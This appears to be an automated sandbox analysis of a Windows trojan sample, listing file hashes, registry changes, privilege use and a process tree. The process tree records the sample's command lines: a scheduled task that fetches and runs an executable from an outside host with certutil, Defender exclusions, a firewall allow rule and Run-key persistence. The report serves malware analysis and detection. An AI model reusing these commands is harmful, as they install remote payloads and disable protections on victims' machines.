Analysis
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max time kernel
18s -
max time network
139s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
09-11-2020 19:54
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe
Resource
win7v20201028
Behavioral task
behavioral2
Sample
SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe
Resource
win10v20201028
General
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Target
SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe
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Size
3.8MB
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MD5
dfd00d2e66ff8b2e4d5d1ecdb903bcbd
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SHA1
16cc6e288eebc04cc8eb72aa7ca5678f65ac38e0
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SHA256
9f0c58f568c713eb2a7fc4836806a3e70bcdb41d05bfc75a1f815c64d856afde
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SHA512
f81c705979ae403268272acf5b57a90cea5bcc6c9478c4bdc2e765e5946512c67e8771c966d8fc6ab64f3626dc66441c6f90766b128202826d7a1fdf01e368f8
Malware Config
Signatures
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Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 1084 csrss.exe 1312 patch.exe -
Modifies Windows Firewall 1 TTPs
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Loads dropped DLL 8 IoCs
Processes:
SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exepatch.exepid process 464 SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe 464 SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe 836 1312 patch.exe 1312 patch.exe 1312 patch.exe 1312 patch.exe 1312 patch.exe -
Processes:
SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\LittleSmoke = "0" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\cc32a828c4ee.exe = "0" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\cc32a828c4ee\cc32a828c4ee = "0" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe = "0" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\LittleSmoke = "\"C:\\Windows\\rss\\csrss.exe\"" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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JavaScript code in executable 3 IoCs
Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js -
Modifies service 2 TTPs 5 IoCs
Processes:
netsh.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Qecs netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\UI netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\LocalConfig netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Enroll\HcsGroups netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Shas netsh.exe -
Drops file in Windows directory 2 IoCs
Processes:
SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exedescription ioc process File opened for modification C:\Windows\rss SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe File created C:\Windows\rss\csrss.exe SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1644 schtasks.exe 1612 schtasks.exe -
Modifies data under HKEY_USERS 237 IoCs
Processes:
SecuriteInfo.com.BScope.Trojan.AET.281105.17967.execsrss.exenetsh.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-421 = "Russian Daylight Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-472 = "Ekaterinburg Standard Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-422 = "Russian Standard Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-552 = "North Asia Standard Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-22 = "Cape Verde Standard Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My csrss.exe Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-521 = "N. Central Asia Daylight Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time" SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exeSecuriteInfo.com.BScope.Trojan.AET.281105.17967.exepid process 1924 SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe 464 SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
SecuriteInfo.com.BScope.Trojan.AET.281105.17967.execsrss.exedescription pid process Token: SeDebugPrivilege 1924 SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Token: SeImpersonatePrivilege 1924 SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe Token: SeSystemEnvironmentPrivilege 1084 csrss.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
SecuriteInfo.com.BScope.Trojan.AET.281105.17967.execmd.exedescription pid process target process PID 464 wrote to memory of 432 464 SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe cmd.exe PID 464 wrote to memory of 432 464 SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe cmd.exe PID 464 wrote to memory of 432 464 SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe cmd.exe PID 464 wrote to memory of 432 464 SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe cmd.exe PID 432 wrote to memory of 1928 432 cmd.exe netsh.exe PID 432 wrote to memory of 1928 432 cmd.exe netsh.exe PID 432 wrote to memory of 1928 432 cmd.exe netsh.exe PID 464 wrote to memory of 1084 464 SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe csrss.exe PID 464 wrote to memory of 1084 464 SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe csrss.exe PID 464 wrote to memory of 1084 464 SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe csrss.exe PID 464 wrote to memory of 1084 464 SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe csrss.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BScope.Trojan.AET.281105.17967.exe"2⤵
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies service
- Modifies data under HKEY_USERS
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeMD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeMD5
dfd00d2e66ff8b2e4d5d1ecdb903bcbd
SHA116cc6e288eebc04cc8eb72aa7ca5678f65ac38e0
SHA2569f0c58f568c713eb2a7fc4836806a3e70bcdb41d05bfc75a1f815c64d856afde
SHA512f81c705979ae403268272acf5b57a90cea5bcc6c9478c4bdc2e765e5946512c67e8771c966d8fc6ab64f3626dc66441c6f90766b128202826d7a1fdf01e368f8
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeMD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\dbghelp.dllMD5
f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\symsrv.dllMD5
5c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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\Windows\rss\csrss.exeMD5
dfd00d2e66ff8b2e4d5d1ecdb903bcbd
SHA116cc6e288eebc04cc8eb72aa7ca5678f65ac38e0
SHA2569f0c58f568c713eb2a7fc4836806a3e70bcdb41d05bfc75a1f815c64d856afde
SHA512f81c705979ae403268272acf5b57a90cea5bcc6c9478c4bdc2e765e5946512c67e8771c966d8fc6ab64f3626dc66441c6f90766b128202826d7a1fdf01e368f8
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\Windows\rss\csrss.exeMD5
dfd00d2e66ff8b2e4d5d1ecdb903bcbd
SHA116cc6e288eebc04cc8eb72aa7ca5678f65ac38e0
SHA2569f0c58f568c713eb2a7fc4836806a3e70bcdb41d05bfc75a1f815c64d856afde
SHA512f81c705979ae403268272acf5b57a90cea5bcc6c9478c4bdc2e765e5946512c67e8771c966d8fc6ab64f3626dc66441c6f90766b128202826d7a1fdf01e368f8
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memory/432-11-0x0000000000000000-mapping.dmp
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memory/464-10-0x0000000000400000-0x0000000000B10000-memory.dmpFilesize
7.1MB
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memory/464-9-0x0000000001180000-0x0000000001191000-memory.dmpFilesize
68KB
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memory/464-8-0x0000000000DD0000-0x0000000001176000-memory.dmpFilesize
3.6MB
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memory/824-27-0x000007FEF6270000-0x000007FEF64EA000-memory.dmpFilesize
2.5MB
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memory/1084-15-0x0000000000000000-mapping.dmp
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memory/1084-17-0x0000000001060000-0x0000000001406000-memory.dmpFilesize
3.6MB
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memory/1084-18-0x0000000001410000-0x0000000001421000-memory.dmpFilesize
68KB
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memory/1924-0-0x0000000000E90000-0x0000000001236000-memory.dmpFilesize
3.6MB
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memory/1924-2-0x0000000000400000-0x0000000000B10000-memory.dmpFilesize
7.1MB
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memory/1924-1-0x0000000001240000-0x0000000001251000-memory.dmpFilesize
68KB
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memory/1928-12-0x0000000000000000-mapping.dmp